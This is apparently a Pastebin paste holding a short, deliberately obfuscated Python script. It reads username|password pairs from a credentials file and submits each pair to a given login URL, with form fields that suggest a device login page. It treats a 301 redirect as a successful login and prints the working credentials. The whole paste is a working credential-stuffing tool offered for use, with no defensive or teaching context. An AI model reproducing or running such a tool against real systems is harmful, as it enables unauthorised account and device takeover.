Guest User

Code nyuri

a guest
May 30th, 2020
23
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if len (sys .argv )!=2 :#line:2
  2. print ("usage: {} <url>".format (sys .argv [0 ]))#line:3
  3. sys .exit ()#line:4
  4. def main ():#line:5
  5. OOOOOOO00000O000O ="credentials.txt"#line:6
  6. OO00O0O0000OO00O0 =open (OOOOOOO00000O000O )#line:7
  7. OOO0000OO0OO00OO0 =sys .argv [1 ]#line:8
  8. O0O00000000OO0OO0 =0 #line:9
  9. for O0O0O0OO0OOO0OO0O in OO00O0O0000OO00O0 .readlines ():O0O00000000OO0OO0 +=1 #line:10
  10. OO00O0O0000OO00O0 .seek (0 )#line:11
  11. print ("[i] Loaded {} credentials from {}".format (O0O00000000OO0OO0 ,OOOOOOO00000O000O ))#line:12
  12. for OO0O0O0O0OO000O00 in OO00O0O0000OO00O0 .readlines ():#line:13
  13. if OO0O0O0O0OO000O00 .rstrip ()=="":continue #line:14
  14. OO0O0O0O0OO000O00 =OO0O0O0O0OO000O00 .rstrip ().split ("|")#line:15
  15. O0OO0O000O0O00000 =OO0O0O0O0OO000O00 [0 ]#line:16
  16. OOO0O0000OO0OO00O =OO0O0O0O0OO000O00 [1 ]#line:17
  17. OO0O00OOOO0000O00 ={'_lang':'','frashnum':'','action':'login','Username':O0OO0O000O0O00000 ,'Password':OOO0O0000OO0OO00O }#line:18
  18. OO000OOO0OO0OOOOO =False #line:19
  19. O0OO00OOOOO000O0O =requests .post (OOO0000OO0OO00OO0 ,data =OO0O00OOOO0000O00 ,allow_redirects =False )#line:20
  20. if O0OO00OOOOO000O0O .status_code ==301 :#line:21
  21. OO000OOO0OO0OOOOO =True #line:22
  22. if OO000OOO0OO0OOOOO ==False :#line:23
  23. print ("[!] fail -> username: {} | password: {}".format (O0OO0O000O0O00000 ,OOO0O0000OO0OO00O ))#line:24
  24. else :#line:25
  25. print ("[*] success -> username {} | password: {}".format (O0OO0O000O0O00000 ,OOO0O0000OO0OO00O ))#line:26
  26. if __name__ =="__main__":#line:27
  27. try :#line:28
  28. main ()#line:29
  29. except KeyboardInterrupt :#line:30
  30. print (": SIGINT detected! Exiting.")#line:31
  31. sys .exit ()#line:32
  32. except Exception as e :#line:33
  33. print ("[!] Exception: {}".format (str (e )))#line:34
  34. pass #line:35
RAW Paste Data